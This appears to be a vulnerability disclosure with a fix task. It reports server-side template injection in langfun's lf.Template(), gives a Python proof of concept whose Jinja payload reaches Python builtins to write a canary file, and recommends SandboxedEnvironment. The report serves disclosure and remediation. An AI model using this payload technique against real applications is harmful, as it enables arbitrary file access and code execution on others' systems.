Security: RCE via Server-Side Template Injection in lf.Template()

## Summary
lf.Template() uses jinja2.Template() without SandboxedEnvironment,
allowing arbitrary code execution when template strings originate
from untrusted sources.

This is the same vulnerability class as #725 (CVE-2026-75062) reported by @thegr1ffyn.

## Minimal Reproduction
```
import os, pathlib, tempfile
import langfun as lf

CANARY = pathlib.Path(tempfile.gettempdir()) / f"lf_ssti_{os.getpid()}"
if CANARY.exists(): CANARY.unlink()

canary_path = str(CANARY).replace('\\', '/')
payload = f"{{{{ cycler.__init__.__globals__['__builtins__']['open']('{canary_path}','w').write('hit') }}}}"

t = lf.Template(payload)
t.render()

print("canary written:", CANARY.exists())
if CANARY.exists(): CANARY.unlink()
```

## Impact
- Remote Code Execution
- Read/write arbitrary files
- Execute system commands

## Suggested Fix
Use SandboxedEnvironment()

## Related
- #725 (CVE-2026-75062)

Start at lf.Template() and inspect how it calls jinja2.Template(). Run the minimal reproduction to confirm the current file-writing behavior, then verify that rendering the same payload no longer creates the canary file when the sandboxed environment is used.

Written by the indexing model from the issue text.